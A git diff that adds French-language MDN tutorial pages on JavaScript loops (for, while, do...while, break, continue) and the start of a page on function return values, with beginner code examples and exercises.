L'essentiel sur la théorie des fonctions a été traité dans le chapitre précédent, cet article va vous permettre de mettre en pratique vos connaissances avec un exercice. Nous allons construire notre propre fonction et nous en profiterons pour expliquer quelques notions plus avancées, utiles pour travailler avec les fonctions.
+
Les valeurs de retour des fonctions
+
Il reste un dernier point à vous présenter avant de terminer cette partie sur les fonctions, il s'agit des valeurs retournées. Une fois leur exécution finie, les fonctions renvoient des valeurs, pour certaines d'entre-elles ce retour nous est utile. Il est important de bien comprendre ce que sont ces valeurs, comment les utiliser dans notre programme et comment faire en sorte que nos fonctions renvoient des valeurs qui nous soient utiles.
+
Introduction aux événements
+
Les événements sont des actions ou occurences qui surviennent au cours de l'exécution de votre programme, auxquels vous pouvez répondre de la manière que vous souhaitez. Par exemple, si l'utilisateur clique sur une page web, vous pourriez vouloir répondre à cette action en affichant un élément d'information. Dans ce dernier article, nous allons voir des concepts importants se rapportant aux événements et voir la manière dont ils fonctionnent au sein des navigateurs.
+
+ +

Auto-évaluation

+ +

L'auto-évaluation suivante teste votre compréhension des bases du JavaScript vues dans le guide ci-dessus.

+ +
+
Galerie de photos
+
Maintenant que vous avez fini ce chapitre sur la construction de blocs en JavaScript, vous allez pouvoir tester vos connaissances sur les boucles, les fonctions, les conditions et les événements en codant un élément que l'on retrouve sur de très nombreux sites web, une galerie de photos en JavaScript.
+
+ +

{{PreviousNext("Learn/JavaScript/First_steps", "Learn/JavaScript/Objects")}}  

diff --git a/files/fr/learn/javascript/building_blocks/looping_code/index.html b/files/fr/learn/javascript/building_blocks/looping_code/index.html new file mode 100644 index 0000000000..820a4d09e2 --- /dev/null +++ b/files/fr/learn/javascript/building_blocks/looping_code/index.html @@ -0,0 +1,873 @@ +--- +title: Les boucles dans le code +slug: Apprendre/JavaScript/Building_blocks/Looping_code +tags: + - Article + - CodingScripting + - DO + - Débutant + - Guide + - JavaScript + - Learn + - Loop + - break + - continue + - for + - 'l10n:priority' + - while +translation_of: Learn/JavaScript/Building_blocks/Looping_code +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Building_blocks/conditionals","Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}}
+ +

Les langages de programmation sont très utiles pour effectuer des tâches répétitives, allant de calculs basiques à à peu près n'importe quelle autre situation où vous avez un certain nombre d'actions similaires à répéter. Ici, nous allons étudier les structures de boucle disponible dans JavaScript qui répondent à un tel besoin.

+ + + + + + + + + + + + +
Prérequis :Culture informatique basique, compréhension basique du HTML et du CSS, Premiers pas en JavaScript...
Objectif :Comprendre comment utiliser les boucles dans JavaScript.
+ +

Laissez-moi dans la boucle

+ +

Boucles, boucles, boucles. Alors qu'elles sont associées aux cheveux d'une célèbre héroïne de fiction, elles sont également un concept extrêmement important en programmation. Les boucles de programmation ne font que faire la même action encore et toujours – ce qui se traduit par itérer en langage de programmeur.

+ +

Commençons par examiner le cas d'un fermier qui doit s'assurer d'avoir assez de nourriture pour nourrir sa famille pour la semaine. Il pourrait ainsi utiliser la boucle suivante :

+ +


+

+ +

Une boucle a normalement un ou plusieurs des composants suivants :

+ +
    +
  •  Un compteur, qui est initialisé à une certaine valeur - c'est le point de départ de la boucle ("Départ : Je n'ai pas de nourriture / I have no food", ci-dessus).
    • +
  • Une condition de sortie, qui est le critère grâce auquel la boucle s'arrête - la plupart du temps, il s'agira d'une certaine valeur que le compteur doit atteindre. Elle est illustrée ci-dessus par "Ai-je assez de nourriture ? / Have I got enough food?". Disons qu'il aura besoin de 10 portions de nourriture pour nourir sa famille.
    • +
  • Un itérateur, qui incrémente généralement le compteur petit-à-petit à chaque boucle successive, jusqu'à ce que ceui-ci remplisse la condition de sortie. Nous n'avons pas explicitement illustré cela ci-dessus, mais nous pouvons penser que le fermier peut récolter 2 portions de nourriture par heure. On peut donc dire que, toutes les heures, la quantité de nourriture collectée est incrémentée de 2, et il regarde s'il a assez de nourriture. S'il a atteint 10 portions (la condition de sortie), il peut arrêter sa récolte et rentrer chez lui, satisfait de sa journée.
    • +
+ +

En {{glossary("pseudocode")}}, cela ressemblerait à ce qui suit :

+ +
loop(nourriture = 0; besoinNourriture = 10) {
+  if (nourriture = besoinNourriture) {
+    exit loop;
+    // Nous avons assez de nourriture, on rentre
+  } else {
+    nourriture += 2; // On doit rester 1 heure de plus
+    // La boucle se répète ensuite
+  }
+}
+ +

La quantité de nourriture dont le fermier a besoin est donc initialisée à 10, et la quantité dont il dispose est initialisée à 0. A chaque itération de la boucle, on vérifie si la quantité de nourriture dont le fermier dispose est égale à la quantité requise. Si c'est le cas, on peut sortir de la boucle. Sinon, le fermier passe une heure de plus à récolter de la nourriture, et la boucle itère à nouveau.

+ +

À quoi ça sert ?

+ +

Arrivé à ce stade, vous avez sans doute compris le concept global des boucles, mais vous vous dites probablement : "Ok, bien, mais comment cela va-t-il m'aider à améliorer mes codes en JavaScript ?". Comme nous l'avons dit plus tôt, les boucles ne font rien d'autre que répéter la même action encore et encore, ce qui peut s'avérer utile pour effectuer rapidement des tâches répétitives.

+ +

Souvent, le code sera légèrement différent à chaque itération successive, ce qui signifie que vous pouvez effectuer une certaine quantité de tâches similaires, mais néanmoins quelque peu différentes - si vous avez beaucoup de calculs différents à effectuer, vous n'allez pas effectuer le même calcul encore et encore !

+ +

Regardons maintenant un exemple qui illustre parfaitement en quoi les boucles sont si intéressantes. Disons que nous voulons dessiner 100 cercles aléatoirement sur un <canvas> (appuyez sur le bouton Update pour lancer le programme à nouveau et voir différentes dispositions aléatoires).

+ + + +

{{ EmbedLiveSample('Hidden_code', '100%', 400) }}

+ +

Vous n'avez pas besoin de comprendre entièrement le code pour l'instant, mais regardons plus en détail la partie du code qui trace les 100 cercles :

+ +
for (let i = 0; i < 100; i++) {
+  ctx.beginPath();
+  ctx.fillStyle = 'rgba(255,0,0,0.5)';
+  ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+  ctx.fill();
+}
+ +

Vous devriez comprendre l'idée basique - nous utilisons une boucle pour effectuer 100 itérations de ce code, chacune dessinant un cercle à une position quelconque sur la page. La quantité de lignes de code nécessaire serait identique si l'on voulait tracer 100 cercles, 1000 ou même 100000. Seul le nombre d'itérations devrait changer.

+ +

Si nous n'utilisions pas de boucle ici, nous aurions du répéter le code suivant pour chaque cercle que nous aurions voulu dessiner :

+ +
ctx.beginPath();
+ctx.fillStyle = 'rgba(255, 0, 0, 0.5)';
+ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+ctx.fill();
+ +

Mais cela prend du temps inutilement, et rend le code difficilement maintenable. Les boucles sont vraiment les meilleures.

+ +

La boucle standard

+ +

Commençons maintenant à voir quelques formes de boucles spécifiques. La première, celle que vous utiliserez le plus souvent, est la boucle for. Elle a la syntaxe suivante :

+ +
for (initialisation; condition de sortie; expression finale) {
+  // code à exécuter
+}
+ +

Nous avons ici :

+ +
    +
  1. Le mot-clé for, suivi par des parenthèses.
    2. +
  2. A l'intérieur des parenthèses, on a trois objets : +
      +
    1. Une initialisation — il s'agit souvent d'une variable initialisée à une certaine valeur, qui est incrémentée afin de compter le nombre de fois où la boucle s'est exécutée. On peut également la nommer compteur.
      2. +
    2. Une condition de sortie — comme mentionné précédemment, cela définit le moment où la boucle doit arrêter de s'exécuter. C'est généralement une expression contenant un opérateur de comparaison, un test pour voir si la condition de sortie est atteinte.
      3. +
    3. Une expression finale — Elle est toujours évaluée (ou exécutée) chaque fois que la boucle a effectué une itération complète. Cela sert souvent à incrémenter (ou dans certains cas décrémenter) le compteur, pour le rapprocher de la valeur de la condition de sortie.
      4. +
    +
    3. +
  3. Des accolades contenant un bloc de code — ce code sera exécuté chaque fois que la boucle itère.
    4. +
+ +

Regardons maintenant un vrai exemple, afin de visualiser leurs actions plus clairement.

+ +
const chats = ['Bill', 'Jeff', 'Pete', 'Biggles', 'Jasmin'];
+let info = "Mes chat s'appellent ";
+const paragraphe = document.querySelector('p');
+
+for (let i = 0; i < chats.length; i++) {
+  info += chats[i] + ', ';
+}
+
+paragraphe.textContent = info;
+ +

Cela nous donne la sortie suivante :

+ + + +

{{ EmbedLiveSample('Hidden_code_2', '100%', 60) }}

+ +
+

Note: Vous pouvez trouver aussi cet exemple de code sur GitHub (et le voir tourner en live).

+
+ +

Cela montre une boucle utiliser pour itérer sur les éléments d'un tableau et faire quelque chose avec chacun d'eux — un schéma très commun en JavaScript. Ici :

+ +
    +
  1. L'itérateur, i, commence à 0 (let i = 0).
    2. +
  2. On lui a demandé de s'exécuter jusqu'à ce que sa valeur ne soit plus inférieure à la longueur du tableau chats. C'est important  — la condition de sortie montre la condition à laquelle la boucle continue de s'exécuter. C'est à dire dans ce cas, tant que i < chats.length est vrai, la boucle continuera à s'exécuter.
    3. +
  3. Au sein de la boucle, on concatène les élèments présents dans cette boucle (cats[i] est cats[quelque soit la valeur de i lors de l'iteration]) avec une virgule et un espace, à la fin de la variable info. Donc : +
      +
    1. Pendant le premier lancement, i = 0, donc cats[0] + ', ' sera concaténé à ("Bill, ")
      2. +
    2. Au second lancement, i = 1, donc cats[1] + ', ' et sera concaténé à  ("Jeff, ")
      3. +
    3. Et ainsi de suite. Aprés chaque tour de boucle, 1 est ajouté à i (i++), et alors le processus recommence encore.
      4. +
    +
    4. +
  4. Quand i devient égal à cats.length, la boucle s'arrête, et le navigateur va bouger au prochain bout de code aprés la boucle.
    5. +
+ +
+

Note: Nous avons fait sortir la condition i < cats.length, et pas i <= cats.length, parce que les ordinateurs comptent à partir de 0, pas 1 — nous avons démarré i à 0, et allons allers jusqu'à i = 4 (l'index du dernier item de la table/tableau). cats.length retourne 5, comme il y a 5 items dans la table, nous n'allont pas aller à i = 5, cela retournerai undefined pour le dernier item (il n'y a pas de item de table avec un index de 5). Par conséquent, nous voulons aller de 1 à moins que cats.length (i <), ce n'est pas la même chose que cats.length (i <=).

+
+ +
+

Note: Une erreur commune avec les conditions de sortie est de les faire utiliser "égal à" plutôt que de dire "inférieur ou égal à". Si nous voulions faire tourner notre boucle jusqu'à i = 5, la condition de sortie aurait besoin d'être i <= cats.length / Si nous la mettons à i = cats.length, la boucle ne fonctionnerait pas du tout parce que i n'est pas égal à 5 sur la première itération de la boucle, de sorte que cela s'arrête immédiatement.

+
+ +

Un petit problème est que nous avons laissé la phrase de sortie mal formée :

+ +
+

Mes chats s'appellent Bill, Jeff, Pete, Biggles, Jasmin,

+
+ +

Idéalement, nous voulons changer la concaténation sur l'itération de la boucle finale de sorte que nous n'ayons pas de virgule à la fin de la phrase. Bien, pas de problème – nous pouvons heureusement insérer une structure conditionnelle dans notre boucle for pour gérer ce cas particulier :

+ +
for (let i = 0; i < cats.length; i++) {
+  if (i === cats.length - 1) {
+    info += 'and ' + cats[i] + '.';
+  } else {
+    info += cats[i] + ', ';
+  }
+}
+ +
+

Note: Vous pouvez trouver cet exemple de code sur GitHub (et aussi le voir en ligne).

+
+ +
+

Important: Avec for — comme avec toutes les boucles  — vous devez vous assurer que l'initialiseur est itéré de sorte qu'il finisse par atteindre la condition de sortie. Si ce n'est pas le cas, la boucle continuera indéfiniment, et soit le navigateur l'arrêtera, soit il se bloquera. C'est ce qu'on appelle une boucle infinie.

+
+ +

Quitter une boucle avec break

+ +

Si vous voulez quitter une boucle avant que toutes les itérations aient été terminées, vous pouvez utiliser l'instruction break. Nous l'avons déjà rencontré dans l'article précédent lorsque nous examinions les instructions switch : lorsqu'un argument est rencontré dans une instruction switch qui correspond à l'expression d'entrée, l'instruction break quitte immédiatement l'instruction switch et passe au code après elle.

+ +

C'est la même chose avec les boucles – un break quittera immédiatement la boucle et fera passer le navigateur sur n'importe quel code qui le suit.

+ +

Supposons que nous voulions effectuer une recherche parmi une liste de contacts et de numéros de téléphone et que nous ne renvoyions que le nombre que nous voulions trouver. Tout d'abord, du HTML simple - un texte {{htmlelement ("input")}} nous permettant d'entrer un nom à rechercher, un élément {{htmlelement ("button")}} pour soumettre une recherche, et un {{htmlelement ("p")}} élément pour afficher les résultats dans :

+ +
<label for="search">Search by contact name: </label>
+<input id="search" type="text">
+<button>Search</button>
+
+<p></p>
+ +

Maintenant sur le JavaScript :

+ +
const contacts = ['Chris:2232322', 'Sarah:3453456', 'Bill:7654322', 'Mary:9998769', 'Dianne:9384975'];
+const paragraphe = document.querySelector('p');
+const input = document.querySelector('input');
+const bouton = document.querySelector('button');
+
+bouton.addEventListener('click', function() {
+  let searchName = input.value;
+  input.value = '';
+  input.focus();
+  for (let i = 0; i < contacts.length; i++) {
+    let splitContact = contacts[i].split(':');
+    if (splitContact[0] === searchName) {
+      paragraphe.textContent = splitContact[0] + '\'s number is ' + splitContact[1] + '.';
+      break;
+    } else {
+      paragraphe.textContent = 'Contact not found.';
+    }
+  }
+});
+ + + +

{{ EmbedLiveSample('Hidden_code_3', '100%', 100) }}

+ +
    +
  1. Tout d'abord, nous avons quelques définitions de variables — nous avons un tableau d'informations de contact, avec chaque élément étant une chaîne contenant un nom et un numéro de téléphone séparés par deux points.
    2. +
  2. Ensuite, nous attachons un écouteur d'événement au bouton (bouton), de sorte que quand il est pressé, du code est exécuté pour effectuer la recherche et renvoyer les résultats.
    3. +
  3. Nous stockons la valeur saisie dans l'input dans une variable appelée searchName, , avant de vider l'input et le recentrer, prêt pour la recherche suivante.
    4. +
  4. Maintenant sur la partie intéressante, la boucle for : +
      +
    1. Nous commençons le compteur à 0, exécutons la boucle jusqu'à ce que le compteur ne soit plus inférieur à contacts.length, et incrémentons i par 1 après chaque itération de la boucle.
      2. +
    2. À l'intérieur de la boucle, nous divisons d'abord le contact actuel (contacts[i]) au caractère deux-points et stockons les deux valeurs résultantes dans un tableau appelé splitContact.
      3. +
    3. Nous utilisons ensuite une instruction conditionnelle pour tester si splitContact[0] (le nom du contact) est égal au searchName entré. Si c'est le cas, nous introduisons une string / chaîne de caractère dans le paragraphe pour indiquer quel est le numéro du contact et utiliser break pour terminer la boucle.
      4. +
    +
    5. +
  5. Si le nom du contact ne correspond pas à la recherche entrée, le texte du paragraphe est défini sur "Contact not found." et la boucle continue son itération.
    6. +
+ +
+

Note : Vous pouvez trouver cet exemple de code sur GitHub (aussi voir en ligne).

+
+ +

Passer des itérations avec continue

+ +

L'instruction continue fonctionne d'une manière similaire à break, mais au lieu de sortir complètement de la boucle, elle passe à l'itération suivante de la boucle. Regardons un autre exemple qui prend un nombre comme une entrée, et retourne seulement les nombres qui sont des carrés d'entiers (nombres entiers).

+ +

Le HTML est fondamentalement le même que le dernier exemple — une entrée de texte simple, et un paragraphe pour la sortie. Le JavaScript est la plupart du temps identique, même si la boucle elle-même est un peu différente :

+ +
let num = input.value;
+
+for (let i = 1; i <= num; i++) {
+  let sqRoot = Math.sqrt(i);
+  if (Math.floor(sqRoot) !== sqRoot) {
+    continue;
+  }
+
+  paragraphe.textContent += i + ' ';
+}
+ +

Ici la sortie :

+ + + +

{{ EmbedLiveSample('Hidden_code_4', '100%', 100) }}

+ +
    +
  1. Dans ce cas, l'entrée doit être un nombre (num). La boucle for est dotée d'un compteur commençant à 1 (car nous ne sommes pas intéressés par 0 dans ce cas), une condition de sortie indiquant que la boucle s'arrêtera lorsque le compteur deviendra plus grand que l'entrée num, et un itérateur ajoutera 1 au compteur à chaque fois.
    2. +
  2. À l'intérieur de la boucle, nous trouvons la racine carrée de chaque nombre en utilisant Math.sqrt(i), , puis vérifions si la racine carrée est un entier en vérifiant si elle est identique à elle-même lorsqu'elle a été arrondie à l'entier le plus proche (ceci est ce que Math.floor() fait au nombre auquel il est passé).
    3. +
  3. Si la racine carrée et la racine carrée arrondie ne sont pas égales les unes aux autres (! ==), cela signifie que la racine carrée n'est pas un entier, donc cela ne nous intéresse pas. Dans un tel cas, nous utilisons l'instruction continue pour passer à l'itération de la boucle suivante sans enregistrer le numéro n'importe où.
    4. +
  4. Si la racine carrée est un entier, nous passons complètement le bloc if pour que l'instruction continue ne soit pas exécutée; à la place, nous concaténons la valeur i actuelle plus un espace sur la fin du contenu du paragraphe.
    5. +
+ +
+

Note: Vous pouvez trouver cet exemple de code sur GitHub (aussi voir en ligne).

+
+ +

while et do ... while

+ +

for n'est pas le seul type de boucle disponible en JavaScript. Il y en a beaucoup d'autres et, même si vous n'avez pas besoin de comprendre tout cela maintenant, il vaut mieux jeter un coup d'œil à la structure de quelques autres pour pouvoir reconnaître les mêmes caractéristiques au travail d'une manière légèrement différente.

+ +

D'abord, regardons la boucle while. La syntaxe de cette boucle ressemble à ceci:

+ +
initializer
+while (exit-condition) {
+  // code to run
+
+  final-expression
+}
+ +

Cela fonctionne de manière très similaire à la boucle for, sauf que la variable de départ est définie avant la boucle, et l'expression finale est incluse dans la boucle après le code à exécuter — plutôt que ces deux éléments soient inclus dans les parenthèses. La condition de sortie est incluse dans les parenthèses, précédées du mot-clé while au lieu de for.

+ +

Les mêmes trois éléments sont toujours présents, et ils sont toujours définis dans le même ordre que dans la boucle for - cela est logique, car vous devez toujours définir un initialiseur avant de pouvoir vérifier s'il a atteint la condition de sortie ; la condition finale est ensuite exécutée après l'exécution du code à l'intérieur de la boucle (une itération a été effectuée), ce qui ne se produira que si la condition de sortie n'a pas encore été atteinte.

+ +

Jetons un coup d'oeil à notre exemple de liste de chats, mais réécrit pour utiliser une boucle while:

+ +
let i = 0;
+
+while (i < cats.length) {
+  if (i === cats.length - 1) {
+    info += 'and ' + cats[i] + '.';
+  } else {
+    info += cats[i] + ', ';
+  }
+
+  i++;
+}
+ +
+

Note: Cela fonctionne toujours comme prévu regardez le ici GitHub (Voir en ligne le code complet).

+
+ +

La boucle do...while est très similaire, mais dénote une variation par rapport à la structure de la boucle while :

+ +
initializer
+do {
+  // code to run
+
+  final-expression
+} while (exit-condition)
+ +

Dans ce cas, l'initialiseur vient en premier, avant que la boucle ne commence. Le mot-clé do précède directement les accolades contenant le code à exécuter et l'expression finale.

+ +

Le différentiateur ici est que la condition de sortie vient après tout, enveloppée entre parenthèses et précédée d'un mot-clé while. Dans une boucle do ... while, le code à l'intérieur des accolades est toujours exécuté une fois avant que la vérification ne soit effectuée pour voir si elle doit être exécutée à nouveau (dans while et for, la vérification arrive en premier, donc le code pourrait ne jamais être exécuté ).

+ +

Réécrivons notre exemple de listing de chat pour utiliser une boucle do ... while :

+ +
let i = 0;
+
+do {
+  if (i === cats.length - 1) {
+    info += 'and ' + cats[i] + '.';
+  } else {
+    info += cats[i] + ', ';
+  }
+
+  i++;
+} while (i < cats.length);
+ +
+

Note: Encore, cela fonctionne toujours comme prévu — regardez le ici GitHub (Voir en ligne le code complet).

+
+ +
+

Important: Avec while et do ... while – comme avec toutes les boucles – vous devez vous assurer que l'initialiseur est itéré pour qu'il atteigne finalement la condition de sortie. Si ce n'est pas le cas, la boucle continuera indéfiniment, et soit le navigateur l'arrêtera, soit il se bloquera. C'est ce qu'on appelle une boucle infinie.

+
+ +

Apprentissage actif : Lancer le compte à rebours !

+ +

Dans cet exercice, nous vous proposons d'écrire un compte à rebours de lancement dans la boîte de sortie, de 10 jusqu'à "Blast Off." Plus précisément, il s'agit de :

+ +
    +
  • Créer une boucle de 10 jusqu'à 0. Nous vous avons fourni un initialiseur — let i = 10;
    • +
  • Pour chaque itération, créer un nouveau paragraphe à ajouter dans la balise de sortie <div> que nous avons selectionnée en utilisant : const output = document.querySelector('.output'); En commentaire, nous vous avons fourni trois lignes de code qui doivent être utilisées quelque part à l'intérieur de la boucle : +
      +
    • const paragraphe = document.createElement('p'); — crée un nouveau paragraphe.
      • +
    • output.appendChild(para); — ajoute le paragraphe à la sortie <div>.
      • +
    • paragraphe.textContent = — Rend le texte à l'intérieur du paragraphe identique à ce que vous avez entré du côté droit du signe égal.
      • +
    +
    • +
  • Chaque nombre de l'itération nécessite un texte différent dans le paragraphe de cette itération (vous aurez besoin d'une expression conditionnelle et plusieurs lignes du type : paragraphe.textContent = ) +
      +
    • Si le nombre est 10, écrire "Countdown 10" dans le paragraphe.
      • +
    • Si le nombre est 0, écrire "Blast off!" dans le paragraphe.
      • +
    • Pour tout autre nombre, écrire simplement le nombre dans le paragraphe.
      • +
    +
    • +
  • Noubliez pas d'inclure un itérateur ! Quoi qu'il en soit, dans cet exemple nous comptons à rebours après chaque itération, pas de manière croissante, alors vous ne voudrez pas i++ — Comment allez vous créer l'itération décroissante ?
    • +
+ +

Si vous faites une erreur, vous pourrez toujours réinitialiser l'exemple avec le bouton "Reset". Si vous êtes vraiment bloqué, appuyez sur le bouton "Show solution" pour voir une solution.

+ + + +

{{ EmbedLiveSample('Active_learning', '100%', 780) }}

+ +

Apprentissage actif : remplir une liste d'invités.

+ +

Dans cet exercice, nous vous proposons de prendre une liste d'invités stockée dans un tableau et de la mettre sur une liste d'invités. Mais cela n'est pas si simple — nous ne voulons pas laisser entrer Phil et Lola parce que ce sont des goinfres et qu'ils sont mal élevés, et ils mangent toujours toute la nourriture ! Nous avons deux listes, une pour les invités admis, une pour ceux que l'on refuse.

+ +

Plus précisément, nous attendons de vous :

+ +
    +
  • Que vous écriviez une boucle qui créé une itération de 0 jusqu'à la fin du tableau people. Vous aurez besoin de commencer avec un initialiseur type let i = 0; , mais quelle sera la condition de sortie
    • +
  • Au cours de chaque itération, vérifiez si l'élément actuel du tableau est "Phil" ou "Lola" en utilisant une déclaration conditionnelle. +
      +
    • Si tel est le cas, concaténez l'élément à la fin du paragraphe refused du textContent, suivi d'une virgule et d'un espace.
      • +
    • Dans le cas contraire, concaténez l'élément à la fin du paragraphe admitted  du textContent suivi d'une virgule et d'un espace.
      • +
    +
    • +
+ +

Nous vous avons déjà fourni les éléments suivants :

+ +
    +
  • let i = 0; — Votre initialiseur.
    • +
  • refused.textContent += — le début de la ligne qui va concaténer un élément à la fin du refused.textContent.
    • +
  • admitted.textContent += — le début de la ligne qui va concaténer un élément à la fin du admitted.textContent.
    • +
+ +

Question bonus — après avoir accompli les tâches ci-dessus, il vous restera deux listes de noms séparées par des virgules, mais elles seront mal présentées— il y aura des virgules à la fin de chacune d'elles. Pouvez-vous faire en sorte d'écrire des lignes de code qui coupent les dernières virgules dans chacune d'elles, et ajoute un arrêt total à la fin ? Jetez un oeil à l'article Méthodes utiles pour les chaînes de caractères pour obtenir de l'aide.

+ +

Si vous faites une erreur, vous pourrez toujours ré-initialiser l'exemple avec le bouton "Reset". Si vous êtes vraiment bloqué, appuyez sur le bouton "Show solution" pour voir une solution.

+ + + +

{{ EmbedLiveSample('Active_learning_2', '100%', 580) }}

+ +

Quel type de boucle utiliser ?

+ +

Pour des usages basiques les boucles for, while, et do...while sont largement interchangeables. Elles résolvent toutes le même problème et celle que vous utiliserez dépendra de vos préférences personnelles — celle que vous trouverez le plus facile à mémoriser ou la plus intuitive. Jetons-y un coup d'oeil à nouveau.

+ +

Premièrement for:

+ +
for (initialisation; condition de sortie; expression finale) {
+  // code à exécuter
+}
+ +

while:

+ +
initialisation
+while (condition de sortie) {
+  // code à exécuter
+
+  expression finale
+}
+ +

et enfin do...while:

+ +
initialisation
+do {
+  // code à exécuter
+
+  expression finale
+} while (condition de sortie)
+ +

Nous recommandons for, au moins pour commencer, car elle est probablement la plus facile pour tout se remémorer — l'initialisation, la condition de sortie, l'expression finale, le tout soigneusement placé entre des parenthèses. De cette façon, il est facile de voir où elles se trouvent et de vérifier qu'on ne les a pas oubliées.

+ +
+

Note: Il y a d'autres types de boucles et de particularités, qui sont très utiles pour des situations spéciales et qui ne sont pas décrites dans cet article. Si vous voulez aller plus loin dans l'apprentissage des boucles, lisez le guide Boucles et itérations.

+
+ +

Conclusion

+ +

Cet article vous a révélé les concepts basiques et les différentes options disponibles pour créer des boucles en JavaScript. Vous devriez à présent être en mesure de comprendre en quoi les boucles constituent un bon mécanisme lorsqu'il s'agit de répéter une action dans le code, et vous devez être impatient de les utiliser dans vos propres exemples !

+ +

S'il y a quelque chose que vous n'avez pas compris, n'hésitez pas à relire l'article ou à nous contacter pour demander de l'aide.

+ +

Voir aussi

+ + + +

{{PreviousMenuNext("Learn/JavaScript/Building_blocks/conditionals","Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}}

diff --git a/files/fr/learn/javascript/building_blocks/return_values/index.html b/files/fr/learn/javascript/building_blocks/return_values/index.html new file mode 100644 index 0000000000..72ed199a4c --- /dev/null +++ b/files/fr/learn/javascript/building_blocks/return_values/index.html @@ -0,0 +1,182 @@ +--- +title: Valeurs de retour des fonctions +slug: Apprendre/JavaScript/Building_blocks/Return_values +tags: + - Apprendre + - Article + - Débutant + - Fonctions + - Guide + - JavaScript + - Return + - Valeurs de retour + - Écriture de code +translation_of: Learn/JavaScript/Building_blocks/Return_values +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}
+ +

Il y a un concept essentiel que nous devons aborder dans ce cours, pour être complet sur les fonctions: les valeurs de retour. Certaines fonctions ne retournent pas de valeur significative après avoir été exécutées, mais d'autres oui, il est important de comprendre ces valeurs, comment les utiliser dans votre code et comment faire pour que vos propres fonctions retournent des valeurs utiles. Nous aborderons tout cela dans cet article.

+ + + + + + + + + + + + +
Prérequis: +

Base en langage informatique, une compréhension basic de HTML et CSS, Premiers pas en JavaScript, Fonctions — blocks de code réutilisable.

+
Objectif:Comprendre les valeurs de retour, et comment les utiliser.
+ +

Qu'est-ce que les valeurs de retour?

+ +

Les valeurs de retour sont, comme leur nom l'indique, les valeurs retournées par une fonction après son exécution. Vous en avez déjà rencontré plusieurs fois sans y avoir pensé explicitement. Revenons à notre code:

+ +
var myText = 'I am a string';
+var newString = myText.replace('string', 'sausage');
+console.log(newString);
+// the replace() string function takes a string,
+// replaces one substring with another, and returns
+// a new string with the replacement made
+ +

Nous avons vu ce bloc de code dans notre premier article sur les fonctions. Nous appelons la fonction replace() sur la chaîne de caractères myText , et lui passons deux paramètres: la chaîne à trouver ('string'), et la chaîne de remplacement ('sausage'). Lorsque cette fonction a fini de s'exécuter, elle retourne une valeur qui est une chaîne avec le remplacement effectué. Dans le code ci-dessus, nous sauvegardons cette valeur avec la variable newString.

+ +

Si vous regardez la page de référence MDN sur le remplacement de fonction, vous verrez une section intitulée Valeur retournée. Il est utile de savoir et de comprendre quelles sont les valeurs retournées par les fonctions, nous avons donc essayé d'inclure cette information partout où cela était possible.

+ +

Certaines fonctions ne retournent pas de valeur comme telle (dans nos pages de référence, la valeur de retour est définie comme void ou undefined dans de tels cas). Par exemple, dans la fonction displayMessage()  construite dans l'article précédent, aucune valeur spécifique n'est retournée comme résultat de la fonction appelée. Il y a seulement une boîte qui apparaît, c'est tout !

+ +

Généralement, une valeur de retour est utilisée lorsque la fonction est une étape intermédiaire dans un programme. Ces valeurs intermédiaires doivent être d'abord évaluées par une fonction, le résultat renvoyé pourra être ensuite utilisé dans l'étape suivante du programme.

+ +

Utiliser des valeurs de retour dans vos fonctions

+ +

Pour retourner une valeur d'une fonction que vous avez créée, vous devez utiliser... suspense... le mot-clef return . Nous avons vu son utilisation dans l'exemple random-canvas-circles.html. Notre fonction draw() dessine 100 cercles aléatoires en HTML. {{htmlelement("canvas")}}:

+ +
function draw() {
+  ctx.clearRect(0,0,WIDTH,HEIGHT);
+  for (var i = 0; i < 100; i++) {
+    ctx.beginPath();
+    ctx.fillStyle = 'rgba(255,0,0,0.5)';
+    ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+    ctx.fill();
+  }
+}
+ +

À chaque itération de la boucle, on fait trois fois appel à la fonction random() pour générer respectivement une valeur aléatoire pour les coordonnées x et y du cercle, ainsi que pour son rayon. La fonction random() prend un seul paramètre — un nombre entier — et elle retourne un nombre entier aléatoire compris entre 0 et ce nombre. Voici à quoi cela ressemble:

+ +
function random(number) {
+  return Math.floor(Math.random()*number);
+}
+ +

Cela peut aussi s'écrire ainsi:

+ +
function random(number) {
+  var result = Math.floor(Math.random()*number);
+  return result;
+}
+ +

Mais la première version est plus rapide à écrire, et plus compacte.

+ +

La fonction retourne le résultat de Math.floor(Math.random()*number) chaque fois qu'elle est appelée. Cette valeur de retour apparaît à l'endroit où la fonction a été appelée, puis le code continue. Si, par exemple, nous exécutons la ligne suivante:

+ +
ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+ +

et que les trois appels random() retournent respectivement les valeurs 500, 200 et 35, la ligne pourrait être écrite de cette façon:

+ +
ctx.arc(500, 200, 35, 0, 2 * Math.PI);
+ +

Les fonctions de la ligne sont évaluées en premières, et leurs valeurs de retour viennent remplacer les appels de fonctions avant que la ligne elle-même ne soit exécutée.

+ +

Apprentissage actif: notre propre fonction avec valeur de retour

+ +

Allons-y, écrivons nos propres fonctions avec des valeurs de retour.

+ +
    +
  1. Pour commencer, faites une copie locale du fichier function-library.html à partir de GitHub. Il s'agit d'une simple page HTML contenant un champ texte  {{htmlelement("input")}} et un paragraphe. Il y a également un élément {{htmlelement("script")}} qui référence ces éléments HTML dans deux variables. Cette page vous permettra d'entrer un nombre dans le champ texte, et affichera, dans le paragraphe au-dessous, différents nombres en lien avec celui entré.
    2. +
  2. Ajoutons quelques fonctions dans <script> . Sous les deux lignes existantes de JavaScript, ajoutez les définitions des fonctions suivantes: + 
    function squared(num) {
+  return num * num;
+}
+
+function cubed(num) {
+  return num * num * num;
+}
+
+function factorial(num) {
+  var x = num;
+  while (x > 1) {
+    num *= x-1;
+    x--;
+  }
+  return num;
+}
    + Les fonctions squared() et cubed() sont plutôt évidentes, elle retournent le carré et le cube du nombre donné en paramètre. La fonction factorial() retourne la factorielle du nombre donné.
    3. +
